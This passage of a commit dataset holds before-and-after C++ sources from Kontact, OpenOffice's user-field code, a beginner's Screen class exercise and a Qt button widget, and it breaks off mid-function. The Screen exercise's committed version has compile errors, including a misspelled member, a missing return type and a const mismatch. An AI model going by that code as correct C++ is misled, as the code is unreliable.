window, and therefore Qt would quit\n  \/\/ the event loop when an error message is clicked away while Kontact is in the\n  \/\/ tray.\n  \/\/ Rely on KGlobal::ref() and KGlobal::deref() instead, like we did in KDE3.\n  \/\/ See http:\/\/bugs.kde.org\/show_bug.cgi?id=163479\n  QApplication::setQuitOnLastWindowClosed( false );\n\n  if ( app.restoringSession() ) {\n     \/\/ There can only be one main window\n    if ( KMainWindow::canBeRestored( 1 ) ) {\n      Kontact::MainWindow *mainWindow = new Kontact::MainWindow();\n      app.setMainWindow( mainWindow );\n      app.setSessionRestored( true );\n      mainWindow->show();\n      mainWindow->restore( 1 );\n    }\n  }\n\n  bool ret = app.exec();\n  qDeleteAll( KMainWindow::memberList() );\n\n  return ret;\n}\n\n#include \"main.moc\"\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: usrfld.cxx,v $\n *\n *  $Revision: 1.13 $\n *\n *  last change: $Author: hr $ $Date: 2006-08-14 16:14:35 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n\n#pragma hdrstop\n\n#ifndef _ZFORLIST_HXX\n#include <svtools\/zforlist.hxx>\n#endif\n#ifndef _ZFORMAT_HXX \/\/autogen\n#include <svtools\/zformat.hxx>\n#endif\n#ifndef _SVDMODEL_HXX\n#include <svx\/svdmodel.hxx>\n#endif\n\n\n#ifndef _CALBCK_HXX\n#include <calbck.hxx>\n#endif\n#ifndef _CALC_HXX\n#include <calc.hxx>\n#endif\n#ifndef _USRFLD_HXX\n#include <usrfld.hxx>\n#endif\n#ifndef _DOC_HXX\n#include <doc.hxx>\n#endif\n#ifndef _EDITSH_HXX\n#include <editsh.hxx>\n#endif\n#ifndef _DPAGE_HXX\n#include <dpage.hxx>\n#endif\n#ifndef _UNOFLDMID_H\n#include <unofldmid.h>\n#endif\n\nusing namespace ::com::sun::star;\nusing namespace ::rtl;\n\/*--------------------------------------------------------------------\n    Beschreibung: Benutzerfelder\n --------------------------------------------------------------------*\/\n\nSwUserField::SwUserField(SwUserFieldType* pTyp, sal_uInt16 nSub, sal_uInt32 nFmt)\n    : SwValueField(pTyp, nFmt),\n    nSubType(nSub)\n{\n}\n\nString SwUserField::Expand() const\n{\n    String sStr;\n    if(!(nSubType & SUB_INVISIBLE))\n        sStr = ((SwUserFieldType*)GetTyp())->Expand(GetFormat(), nSubType, GetLanguage());\n\n    return sStr;\n}\n\nSwField* SwUserField::Copy() const\n{\n    SwField* pTmp = new SwUserField((SwUserFieldType*)GetTyp(), nSubType, GetFormat());\n    pTmp->SetAutomaticLanguage(IsAutomaticLanguage());\n    return pTmp;\n}\n\nString SwUserField::GetCntnt(sal_Bool bName) const\n{\n    if ( bName )\n    {   String aStr(SwFieldType::GetTypeStr(TYP_USERFLD));\n        aStr += ' ';\n        aStr += GetTyp()->GetName();\n        aStr.AppendAscii(\" = \");\n        aStr += ((SwUserFieldType*)GetTyp())->GetContent();\n        return aStr;\n    }\n    return Expand();\n}\n\ndouble SwUserField::GetValue() const\n{\n    return ((SwUserFieldType*)GetTyp())->GetValue();\n}\n\nvoid SwUserField::SetValue( const double& rVal )\n{\n    ((SwUserFieldType*)GetTyp())->SetValue(rVal);\n}\n\n\/*--------------------------------------------------------------------\n    Beschreibung: Name\n --------------------------------------------------------------------*\/\n\nconst String& SwUserField::GetPar1() const\n{\n    return ((SwUserFieldType*)GetTyp())->GetName();\n}\n\n\/*--------------------------------------------------------------------\n    Beschreibung: Content\n --------------------------------------------------------------------*\/\n\nString SwUserField::GetPar2() const\n{\n    return ((SwUserFieldType*)GetTyp())->GetContent(GetFormat());\n}\n\nvoid SwUserField::SetPar2(const String& rStr)\n{\n    ((SwUserFieldType*)GetTyp())->SetContent(rStr, GetFormat());\n}\n\nsal_uInt16 SwUserField::GetSubType() const\n{\n    return ((SwUserFieldType*)GetTyp())->GetType() | nSubType;\n}\n\nvoid SwUserField::SetSubType(sal_uInt16 nSub)\n{\n    ((SwUserFieldType*)GetTyp())->SetType(nSub & 0x00ff);\n    nSubType = nSub & 0xff00;\n}\n\n\/*-----------------09.03.98 08:04-------------------\n\n--------------------------------------------------*\/\nBOOL SwUserField::QueryValue( uno::Any& rAny, BYTE nMId ) const\n{\n    nMId &= ~CONVERT_TWIPS;\n    switch( nMId )\n    {\n    case FIELD_PROP_BOOL2:\n        {\n            BOOL bTmp = 0 != (nSubType & SUB_CMD);\n            rAny.setValue(&bTmp, ::getBooleanCppuType());\n        }\n        break;\n    case FIELD_PROP_BOOL1:\n        {\n            BOOL bTmp = 0 == (nSubType & SUB_INVISIBLE);\n            rAny.setValue(&bTmp, ::getBooleanCppuType());\n        }\n        break;\n    case FIELD_PROP_FORMAT:\n        rAny <<= (sal_Int32)GetFormat();\n        break;\n    default:\n        return SwField::QueryValue(rAny, nMId);\n    }\n    return sal_True;\n}\n\/*-----------------09.03.98 08:04-------------------\n\n--------------------------------------------------*\/\nsal_Bool SwUserField::PutValue( const uno::Any& rAny, BYTE nMId )\n{\n    nMId &= ~CONVERT_TWIPS;\n    switch( nMId )\n    {\n    case FIELD_PROP_BOOL1:\n        if(*(sal_Bool*) rAny.getValue())\n            nSubType &= (~SUB_INVISIBLE);\n        else\n            nSubType |= SUB_INVISIBLE;\n        break;\n    case FIELD_PROP_BOOL2:\n        if(*(sal_Bool*) rAny.getValue())\n            nSubType |= SUB_CMD;\n        else\n            nSubType &= (~SUB_CMD);\n        break;\n    case FIELD_PROP_FORMAT:\n        {\n            sal_Int32 nTmp;\n            rAny >>= nTmp;\n            SetFormat(nTmp);\n        }\n        break;\n    default:\n        return SwField::PutValue(rAny, nMId);\n    }\n    return sal_True;\n}\n\n\/*--------------------------------------------------------------------\n    Beschreibung: Benutzerfeldtypen\n --------------------------------------------------------------------*\/\n\nSwUserFieldType::SwUserFieldType( SwDoc* pDocPtr, const String& aNam )\n    : SwValueFieldType( pDocPtr, RES_USERFLD ),\n    nType(GSE_STRING),\n    nValue( 0 )\n{\n    bValidValue = bDeleted = sal_False;\n    aName = aNam;\n\n    if (nType & GSE_STRING)\n        EnableFormat(sal_False);    \/\/ Numberformatter nicht einsetzen\n}\n\nString SwUserFieldType::Expand(sal_uInt32 nFmt, sal_uInt16 nSubType, sal_uInt16 nLng)\n{\n    String aStr(aContent);\n    if((nType & GSE_EXPR) && !(nSubType & SUB_CMD))\n    {\n        EnableFormat(sal_True);\n        aStr = ExpandValue(nValue, nFmt, nLng);\n    }\n    else\n        EnableFormat(sal_False);    \/\/ Numberformatter nicht einsetzen\n\n    return aStr;\n}\n\nSwFieldType* SwUserFieldType::Copy() const\n{\n    SwUserFieldType *pTmp = new SwUserFieldType( GetDoc(), aName );\n    pTmp->aContent      = aContent;\n    pTmp->nType         = nType;\n    pTmp->bValidValue   = bValidValue;\n    pTmp->nValue        = nValue;\n    pTmp->bDeleted      = bDeleted;\n\n    return pTmp;\n}\n\nconst String& SwUserFieldType::GetName() const\n{\n    return aName;\n}\n\nvoid SwUserFieldType::Modify( SfxPoolItem* pOld, SfxPoolItem* pNew )\n{\n    if( !pOld && !pNew )\n        ChgValid( sal_False );\n\n    SwModify::Modify( pOld, pNew );\n    \/\/ und ggfs. am UserFeld haengende InputFelder updaten!\n    GetDoc()->GetSysFldType( RES_INPUTFLD )->UpdateFlds();\n}\n\ndouble SwUserFieldType::GetValue( SwCalc& rCalc )\n{\n    if(bValidValue)\n        return nValue;\n\n    if(!rCalc.Push( this ))\n    {\n        rCalc.SetCalcError( CALC_SYNTAX );\n        return 0;\n    }\n    nValue = rCalc.Calculate( aContent ).GetDouble();\n    rCalc.Pop( this );\n\n    if( !rCalc.IsCalcError() )\n        bValidValue = sal_True;\n    else\n        nValue = 0;\n\n    return nValue;\n}\n\nString SwUserFieldType::GetContent( sal_uInt32 nFmt )\n{\n    if (nFmt && nFmt != SAL_MAX_UINT32)\n    {\n        String sFormattedValue;\n        Color* pCol = 0;\n\n        SvNumberFormatter* pFormatter = GetDoc()->GetNumberFormatter();\n\n        pFormatter->GetOutputString(GetValue(), nFmt, sFormattedValue, &pCol);\n        return sFormattedValue;\n    }\n    else\n        return aContent;\n}\n\nvoid SwUserFieldType::SetContent( const String& rStr, sal_uInt32 nFmt )\n{\n    if( aContent != rStr )\n    {\n        aContent = rStr;\n\n        if (nFmt && nFmt != SAL_MAX_UINT32)\n        {\n            double fValue;\n\n            SvNumberFormatter* pFormatter = GetDoc()->GetNumberFormatter();\n\n            if (pFormatter->IsNumberFormat(rStr, nFmt, fValue))\n            {\n                SetValue(fValue);\n                aContent.Erase();\n                DoubleToString(aContent, fValue, nFmt);\n            }\n        }\n\n        sal_Bool bModified = GetDoc()->IsModified();\n        GetDoc()->SetModified();\n        if( !bModified )    \/\/ Bug 57028\n            GetDoc()->SetUndoNoResetModified();\n    }\n}\n\nvoid SwUserFieldType::CtrlSetContent( const String& rStr )\n{\n    if( aContent != rStr )\n    {\n        aContent = rStr;\n        bValidValue = sal_False;\n\n        sal_Bool bModified = GetDoc()->IsModified();\n        GetDoc()->SetModified();\n        if( !bModified )    \/\/ Bug 57028\n            GetDoc()->SetUndoNoResetModified();\n\n        \/\/ dann mal alle Feldern updaten\n        if( GetDepends() )\n        {\n            SwEditShell* pSh = GetDoc()->GetEditShell();\n            if( pSh )\n                pSh->StartAllAction();\n\n            Modify( 0, 0 );\n            GetDoc()->UpdateUsrFlds();\n            GetDoc()->UpdateExpFlds(NULL, true);\n\n            GetDoc()->SetModified();\n            if( pSh )\n                pSh->EndAllAction();\n        }\n    }\n}\n\/*-----------------04.03.98 17:05-------------------\n\n--------------------------------------------------*\/\nBOOL SwUserFieldType::QueryValue( uno::Any& rAny, BYTE nMId ) const\n{\n    nMId &= ~CONVERT_TWIPS;\n    switch( nMId )\n    {\n    case FIELD_PROP_DOUBLE:\n        rAny <<= (double) nValue;\n        break;\n    case FIELD_PROP_PAR2:\n        rAny <<= rtl::OUString(aContent);\n        break;\n    case FIELD_PROP_BOOL1:\n        {\n            BOOL bExpression = 0 != (GSE_EXPR&nType);\n            rAny.setValue(&bExpression, ::getBooleanCppuType());\n        }\n        break;\n    default:\n        DBG_ERROR(\"illegal property\");\n    }\n    return sal_True;\n}\n\/*-----------------04.03.98 17:05-------------------\n\n--------------------------------------------------*\/\nBOOL SwUserFieldType::PutValue( const uno::Any& rAny, BYTE nMId )\n{\n    nMId &= ~CONVERT_TWIPS;\n    switch( nMId )\n    {\n    case FIELD_PROP_DOUBLE:\n        {\n            double fVal;\n            rAny >>= fVal;\n            nValue = fVal;\n\n            \/\/ Folgende Zeile ist eigentlich falsch, da die Sprache unbekannt ist\n            \/\/ (haengt am Feld) und aContent daher auch eigentlich ans Feld gehoeren\n            \/\/ muesste. Jedes Feld kann eine andere Sprache, aber den gleichen Inhalt\n            \/\/ haben, nur die Formatierung ist unterschiedlich.\n            DoubleToString(aContent, nValue, (sal_uInt16)LANGUAGE_SYSTEM);\n        }\n        break;\n    case FIELD_PROP_PAR2:\n        ::GetString( rAny, aContent );\n        break;\n    case FIELD_PROP_BOOL1:\n        if(*(sal_Bool*)rAny.getValue())\n        {\n            nType |= GSE_EXPR;\n            nType &= ~GSE_STRING;\n        }\n        else\n        {\n            nType &= ~GSE_EXPR;\n            nType |= GSE_STRING;\n        }\n        break;\n    default:\n        DBG_ERROR(\"illegal property\");\n    }\n    return sal_True;\n}\n\n\n\n<commit_msg>INTEGRATION: CWS pchfix02 (1.13.2); FILE MERGED 2006\/09\/01 17:51:43 kaib 1.13.2.1: #i68856# Added header markers and pch files<commit_after>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: usrfld.cxx,v $\n *\n *  $Revision: 1.14 $\n *\n *  last change: $Author: obo $ $Date: 2006-09-16 21:13:28 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_sw.hxx\"\n\n\n\n#ifndef _ZFORLIST_HXX\n#include <svtools\/zforlist.hxx>\n#endif\n#ifndef _ZFORMAT_HXX \/\/autogen\n#include <svtools\/zformat.hxx>\n#endif\n#ifndef _SVDMODEL_HXX\n#include <svx\/svdmodel.hxx>\n#endif\n\n\n#ifndef _CALBCK_HXX\n#include <calbck.hxx>\n#endif\n#ifndef _CALC_HXX\n#include <calc.hxx>\n#endif\n#ifndef _USRFLD_HXX\n#include <usrfld.hxx>\n#endif\n#ifndef _DOC_HXX\n#include <doc.hxx>\n#endif\n#ifndef _EDITSH_HXX\n#include <editsh.hxx>\n#endif\n#ifndef _DPAGE_HXX\n#include <dpage.hxx>\n#endif\n#ifndef _UNOFLDMID_H\n#include <unofldmid.h>\n#endif\n\nusing namespace ::com::sun::star;\nusing namespace ::rtl;\n\/*--------------------------------------------------------------------\n    Beschreibung: Benutzerfelder\n --------------------------------------------------------------------*\/\n\nSwUserField::SwUserField(SwUserFieldType* pTyp, sal_uInt16 nSub, sal_uInt32 nFmt)\n    : SwValueField(pTyp, nFmt),\n    nSubType(nSub)\n{\n}\n\nString SwUserField::Expand() const\n{\n    String sStr;\n    if(!(nSubType & SUB_INVISIBLE))\n        sStr = ((SwUserFieldType*)GetTyp())->Expand(GetFormat(), nSubType, GetLanguage());\n\n    return sStr;\n}\n\nSwField* SwUserField::Copy() const\n{\n    SwField* pTmp = new SwUserField((SwUserFieldType*)GetTyp(), nSubType, GetFormat());\n    pTmp->SetAutomaticLanguage(IsAutomaticLanguage());\n    return pTmp;\n}\n\nString SwUserField::GetCntnt(sal_Bool bName) const\n{\n    if ( bName )\n    {   String aStr(SwFieldType::GetTypeStr(TYP_USERFLD));\n        aStr += ' ';\n        aStr += GetTyp()->GetName();\n        aStr.AppendAscii(\" = \");\n        aStr += ((SwUserFieldType*)GetTyp())->GetContent();\n        return aStr;\n    }\n    return Expand();\n}\n\ndouble SwUserField::GetValue() const\n{\n    return ((SwUserFieldType*)GetTyp())->GetValue();\n}\n\nvoid SwUserField::SetValue( const double& rVal )\n{\n    ((SwUserFieldType*)GetTyp())->SetValue(rVal);\n}\n\n\/*--------------------------------------------------------------------\n    Beschreibung: Name\n --------------------------------------------------------------------*\/\n\nconst String& SwUserField::GetPar1() const\n{\n    return ((SwUserFieldType*)GetTyp())->GetName();\n}\n\n\/*--------------------------------------------------------------------\n    Beschreibung: Content\n --------------------------------------------------------------------*\/\n\nString SwUserField::GetPar2() const\n{\n    return ((SwUserFieldType*)GetTyp())->GetContent(GetFormat());\n}\n\nvoid SwUserField::SetPar2(const String& rStr)\n{\n    ((SwUserFieldType*)GetTyp())->SetContent(rStr, GetFormat());\n}\n\nsal_uInt16 SwUserField::GetSubType() const\n{\n    return ((SwUserFieldType*)GetTyp())->GetType() | nSubType;\n}\n\nvoid SwUserField::SetSubType(sal_uInt16 nSub)\n{\n    ((SwUserFieldType*)GetTyp())->SetType(nSub & 0x00ff);\n    nSubType = nSub & 0xff00;\n}\n\n\/*-----------------09.03.98 08:04-------------------\n\n--------------------------------------------------*\/\nBOOL SwUserField::QueryValue( uno::Any& rAny, BYTE nMId ) const\n{\n    nMId &= ~CONVERT_TWIPS;\n    switch( nMId )\n    {\n    case FIELD_PROP_BOOL2:\n        {\n            BOOL bTmp = 0 != (nSubType & SUB_CMD);\n            rAny.setValue(&bTmp, ::getBooleanCppuType());\n        }\n        break;\n    case FIELD_PROP_BOOL1:\n        {\n            BOOL bTmp = 0 == (nSubType & SUB_INVISIBLE);\n            rAny.setValue(&bTmp, ::getBooleanCppuType());\n        }\n        break;\n    case FIELD_PROP_FORMAT:\n        rAny <<= (sal_Int32)GetFormat();\n        break;\n    default:\n        return SwField::QueryValue(rAny, nMId);\n    }\n    return sal_True;\n}\n\/*-----------------09.03.98 08:04-------------------\n\n--------------------------------------------------*\/\nsal_Bool SwUserField::PutValue( const uno::Any& rAny, BYTE nMId )\n{\n    nMId &= ~CONVERT_TWIPS;\n    switch( nMId )\n    {\n    case FIELD_PROP_BOOL1:\n        if(*(sal_Bool*) rAny.getValue())\n            nSubType &= (~SUB_INVISIBLE);\n        else\n            nSubType |= SUB_INVISIBLE;\n        break;\n    case FIELD_PROP_BOOL2:\n        if(*(sal_Bool*) rAny.getValue())\n            nSubType |= SUB_CMD;\n        else\n            nSubType &= (~SUB_CMD);\n        break;\n    case FIELD_PROP_FORMAT:\n        {\n            sal_Int32 nTmp;\n            rAny >>= nTmp;\n            SetFormat(nTmp);\n        }\n        break;\n    default:\n        return SwField::PutValue(rAny, nMId);\n    }\n    return sal_True;\n}\n\n\/*--------------------------------------------------------------------\n    Beschreibung: Benutzerfeldtypen\n --------------------------------------------------------------------*\/\n\nSwUserFieldType::SwUserFieldType( SwDoc* pDocPtr, const String& aNam )\n    : SwValueFieldType( pDocPtr, RES_USERFLD ),\n    nType(GSE_STRING),\n    nValue( 0 )\n{\n    bValidValue = bDeleted = sal_False;\n    aName = aNam;\n\n    if (nType & GSE_STRING)\n        EnableFormat(sal_False);    \/\/ Numberformatter nicht einsetzen\n}\n\nString SwUserFieldType::Expand(sal_uInt32 nFmt, sal_uInt16 nSubType, sal_uInt16 nLng)\n{\n    String aStr(aContent);\n    if((nType & GSE_EXPR) && !(nSubType & SUB_CMD))\n    {\n        EnableFormat(sal_True);\n        aStr = ExpandValue(nValue, nFmt, nLng);\n    }\n    else\n        EnableFormat(sal_False);    \/\/ Numberformatter nicht einsetzen\n\n    return aStr;\n}\n\nSwFieldType* SwUserFieldType::Copy() const\n{\n    SwUserFieldType *pTmp = new SwUserFieldType( GetDoc(), aName );\n    pTmp->aContent      = aContent;\n    pTmp->nType         = nType;\n    pTmp->bValidValue   = bValidValue;\n    pTmp->nValue        = nValue;\n    pTmp->bDeleted      = bDeleted;\n\n    return pTmp;\n}\n\nconst String& SwUserFieldType::GetName() const\n{\n    return aName;\n}\n\nvoid SwUserFieldType::Modify( SfxPoolItem* pOld, SfxPoolItem* pNew )\n{\n    if( !pOld && !pNew )\n        ChgValid( sal_False );\n\n    SwModify::Modify( pOld, pNew );\n    \/\/ und ggfs. am UserFeld haengende InputFelder updaten!\n    GetDoc()->GetSysFldType( RES_INPUTFLD )->UpdateFlds();\n}\n\ndouble SwUserFieldType::GetValue( SwCalc& rCalc )\n{\n    if(bValidValue)\n        return nValue;\n\n    if(!rCalc.Push( this ))\n    {\n        rCalc.SetCalcError( CALC_SYNTAX );\n        return 0;\n    }\n    nValue = rCalc.Calculate( aContent ).GetDouble();\n    rCalc.Pop( this );\n\n    if( !rCalc.IsCalcError() )\n        bValidValue = sal_True;\n    else\n        nValue = 0;\n\n    return nValue;\n}\n\nString SwUserFieldType::GetContent( sal_uInt32 nFmt )\n{\n    if (nFmt && nFmt != SAL_MAX_UINT32)\n    {\n        String sFormattedValue;\n        Color* pCol = 0;\n\n        SvNumberFormatter* pFormatter = GetDoc()->GetNumberFormatter();\n\n        pFormatter->GetOutputString(GetValue(), nFmt, sFormattedValue, &pCol);\n        return sFormattedValue;\n    }\n    else\n        return aContent;\n}\n\nvoid SwUserFieldType::SetContent( const String& rStr, sal_uInt32 nFmt )\n{\n    if( aContent != rStr )\n    {\n        aContent = rStr;\n\n        if (nFmt && nFmt != SAL_MAX_UINT32)\n        {\n            double fValue;\n\n            SvNumberFormatter* pFormatter = GetDoc()->GetNumberFormatter();\n\n            if (pFormatter->IsNumberFormat(rStr, nFmt, fValue))\n            {\n                SetValue(fValue);\n                aContent.Erase();\n                DoubleToString(aContent, fValue, nFmt);\n            }\n        }\n\n        sal_Bool bModified = GetDoc()->IsModified();\n        GetDoc()->SetModified();\n        if( !bModified )    \/\/ Bug 57028\n            GetDoc()->SetUndoNoResetModified();\n    }\n}\n\nvoid SwUserFieldType::CtrlSetContent( const String& rStr )\n{\n    if( aContent != rStr )\n    {\n        aContent = rStr;\n        bValidValue = sal_False;\n\n        sal_Bool bModified = GetDoc()->IsModified();\n        GetDoc()->SetModified();\n        if( !bModified )    \/\/ Bug 57028\n            GetDoc()->SetUndoNoResetModified();\n\n        \/\/ dann mal alle Feldern updaten\n        if( GetDepends() )\n        {\n            SwEditShell* pSh = GetDoc()->GetEditShell();\n            if( pSh )\n                pSh->StartAllAction();\n\n            Modify( 0, 0 );\n            GetDoc()->UpdateUsrFlds();\n            GetDoc()->UpdateExpFlds(NULL, true);\n\n            GetDoc()->SetModified();\n            if( pSh )\n                pSh->EndAllAction();\n        }\n    }\n}\n\/*-----------------04.03.98 17:05-------------------\n\n--------------------------------------------------*\/\nBOOL SwUserFieldType::QueryValue( uno::Any& rAny, BYTE nMId ) const\n{\n    nMId &= ~CONVERT_TWIPS;\n    switch( nMId )\n    {\n    case FIELD_PROP_DOUBLE:\n        rAny <<= (double) nValue;\n        break;\n    case FIELD_PROP_PAR2:\n        rAny <<= rtl::OUString(aContent);\n        break;\n    case FIELD_PROP_BOOL1:\n        {\n            BOOL bExpression = 0 != (GSE_EXPR&nType);\n            rAny.setValue(&bExpression, ::getBooleanCppuType());\n        }\n        break;\n    default:\n        DBG_ERROR(\"illegal property\");\n    }\n    return sal_True;\n}\n\/*-----------------04.03.98 17:05-------------------\n\n--------------------------------------------------*\/\nBOOL SwUserFieldType::PutValue( const uno::Any& rAny, BYTE nMId )\n{\n    nMId &= ~CONVERT_TWIPS;\n    switch( nMId )\n    {\n    case FIELD_PROP_DOUBLE:\n        {\n            double fVal;\n            rAny >>= fVal;\n            nValue = fVal;\n\n            \/\/ Folgende Zeile ist eigentlich falsch, da die Sprache unbekannt ist\n            \/\/ (haengt am Feld) und aContent daher auch eigentlich ans Feld gehoeren\n            \/\/ muesste. Jedes Feld kann eine andere Sprache, aber den gleichen Inhalt\n            \/\/ haben, nur die Formatierung ist unterschiedlich.\n            DoubleToString(aContent, nValue, (sal_uInt16)LANGUAGE_SYSTEM);\n        }\n        break;\n    case FIELD_PROP_PAR2:\n        ::GetString( rAny, aContent );\n        break;\n    case FIELD_PROP_BOOL1:\n        if(*(sal_Bool*)rAny.getValue())\n        {\n            nType |= GSE_EXPR;\n            nType &= ~GSE_STRING;\n        }\n        else\n        {\n            nType &= ~GSE_EXPR;\n            nType |= GSE_STRING;\n        }\n        break;\n    default:\n        DBG_ERROR(\"illegal property\");\n    }\n    return sal_True;\n}\n\n\n\n<|endoftext|>"}
{"text":"<commit_before>#include <iostream>\nclass Screen {\n  public:\n    typedef std::string::size_type index_t;\n    Screen(): contents_(\"whu\") {}\n    char get() const {\n      return contents_[cursor_];\n    };\n    char get(index_t ht, index_t wd) const {\n      \/\/ dummy\n      return contents_[0];\n    }\n  private:\n    std::string contents_;\n    index_t cursor_;\n    index_t height_;\n    index_t width_;\n};\n\nint main(int argc, char* argv[]) {\n  Screen screen;\n  std::cout << screen.get() << std::endl;\n  std::cout << screen.get(0, 0) << std::endl;\n  return 0;\n}\n<commit_msg>12.1.3 -> 5<commit_after>#include <iostream>\n\n\/\/ third kinds of inline member function\nclass Screen {\n  public:\n    typedef std::string::size_type index_t;\n    Screen(): contents_(\"whu\") {}\n    char get() const {\n      return contents_[cursor_];\n    };\n    inline char get(index_t ht, index_t wd) const;\n    index_t get_cursor() const;\n  private:\n    std::string contents_;\n    index_t cursor_;\n    index_t height_;\n    index_t width_;\n};\n\nchar Screen::get(index_t r, index_t c) {\n  return content_[0];\n}\n\ninline Screen::get_cursor() const {\n  return cursor_;\n}\n\nint main(int argc, char* argv[]) {\n  Screen screen;\n  std::cout << screen.get() << std::endl;\n  std::cout << screen.get(0, 0) << std::endl;\n  return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <QPaintEvent>\n#include <QPainter>\n#include \"QBouton.h\"\n\n\n\nQBouton::QBouton(QVariant id, bool resizeInsteadOfCropping, int border, QColor color, QWidget *parent)\n\t: QPushButton(parent), _id(id), _resizeInsteadOfCropping(resizeInsteadOfCropping), _np(false), _originalSize(QSize(-1,-1)), _penColor(color), _border(border)\n{ }\n\nQBouton::~QBouton()\n{ }\n\nvoid QBouton::scale(QPixmap image, float scale)\n{\n\tif (scale > 1.00001f)\n\t{\n\t\tQSize size = image.size() * scale;\n\t\tsetIcon(image.scaled(size));\n\t\tsetIconSize(size);\n\t}\n\telse\n\t{\n\t\tsetIcon(image);\n\t\tsetIconSize(image.size());\n\t}\n}\n\nQVariant QBouton::id()\n{ return _id; }\nvoid QBouton::setId(QVariant id)\n{ _id = id; }\n\nvoid QBouton::paintEvent(QPaintEvent *event)\n{\n\tQRect region = event->rect();\n\tint p = _border, x = region.x(), y = region.y(), w = iconSize().width(), h = iconSize().height();\n\n\t\/\/ Ignore invalid images\n\tif (w == 0 || h == 0)\n\t\treturn;\n\n\tQPainter painter(this);\n\n\t\/\/ Calculate ratio to resize by keeping proportions\n\tif (_resizeInsteadOfCropping)\n\t{\n\t\tfloat coef = qMin(1.0f, qMin(float(region.width()) \/ float(w), float(region.height()) \/ float(h)));\n\t\tw *= coef;\n\t\th *= coef;\n\t}\n\n\t\/\/ Center the image\n\tx += (region.width() - w) \/ 2;\n\ty += (region.height() - h) \/ 2;\n\n\t\/\/ Draw the image\n\tif (w > h)\n\t{\n\t\ticon().paint(&painter, x+p, y+p, w-2*p, w-2*p, Qt::AlignLeft | Qt::AlignTop);\n\t\th -= - ((h*2*p)\/w) + 2*p-1;\n\t}\n\telse\n\t{\n\t\ticon().paint(&painter, x+p, y+p, h-2*p, h-2*p, Qt::AlignLeft | Qt::AlignTop);\n\t\tw -= ((w*2*p)\/h) + 2*p-1;\n\t}\n\n\t\/\/ Clip borders\n\tpainter.setClipRect(x, y, w, h);\n\n\t\/\/ Draw selection overlay\n\tif (this->isChecked())\n\t{\n\t\tpainter.setBrush(QBrush(QColor(0, 0, 255, 128), Qt::Dense4Pattern));\n\t\tpainter.setPen(Qt::NoPen);\n\t\tpainter.drawRect(x+p, y+p, w-2*p, h-2*p);\n\t}\n\n\t\/\/ Draw borders\n\tif (p > 0 && _penColor.isValid())\n\t{\n\t\tQPen pen(_penColor);\n\t\tpen.setWidth(p*2);\n\t\tpainter.setPen(pen);\n\t\tpainter.drawRect(qMax(x,0), qMax(y,0), qMin(w,size().width()), qMin(h,size().height()));\n\t}\n}\n\nvoid QBouton::mousePressEvent(QMouseEvent *event)\n{\n\tif (event->button() == Qt::LeftButton)\n\t{\n\t\tif (event->modifiers() & Qt::ControlModifier)\n\t\t{\n\t\t\tthis->toggle();\n\t\t\temit this->toggled(_id, this->isChecked());\n\t\t\temit this->toggled(_id.toString(), this->isChecked());\n\t\t\temit this->toggled(_id.toInt(), this->isChecked());\n\t\t}\n\t\telse\n\t\t{\n\t\t\temit this->appui(_id);\n\t\t\temit this->appui(_id.toString());\n\t\t\temit this->appui(_id.toInt());\n\t\t}\n\t}\n\tif (event->button() == Qt::RightButton)\n\t{\n\t\temit this->rightClick(_id);\n\t\temit this->rightClick(_id.toString());\n\t\temit this->rightClick(_id.toInt());\n\t}\n\tif (event->button() == Qt::MidButton)\n\t{\n\t\temit this->middleClick(_id);\n\t\temit this->middleClick(_id.toString());\n\t\temit this->middleClick(_id.toInt());\n\t}\n\tevent->accept();\n}\n<commit_msg>Fix issue with borders and use OS selected mode instead of custom blue overlay<commit_after>#include <QPaintEvent>\n#include <QPainter>\n#include \"QBouton.h\"\n\n\n\nQBouton::QBouton(QVariant id, bool resizeInsteadOfCropping, int border, QColor color, QWidget *parent)\n\t: QPushButton(parent), _id(id), _resizeInsteadOfCropping(resizeInsteadOfCropping), _np(false), _originalSize(QSize(-1,-1)), _penColor(color), _border(border)\n{ }\n\nQBouton::~QBouton()\n{ }\n\nvoid QBouton::scale(QPixmap image, float scale)\n{\n\tif (scale > 1.00001f)\n\t{\n\t\tQSize size = image.size() * scale;\n\t\tsetIcon(image.scaled(size));\n\t\tsetIconSize(size);\n\t}\n\telse\n\t{\n\t\tsetIcon(image);\n\t\tsetIconSize(image.size());\n\t}\n}\n\nQVariant QBouton::id()\n{ return _id; }\nvoid QBouton::setId(QVariant id)\n{ _id = id; }\n\nvoid QBouton::paintEvent(QPaintEvent *event)\n{\n\tQRect region = event->rect();\n\tint p = _border, x = 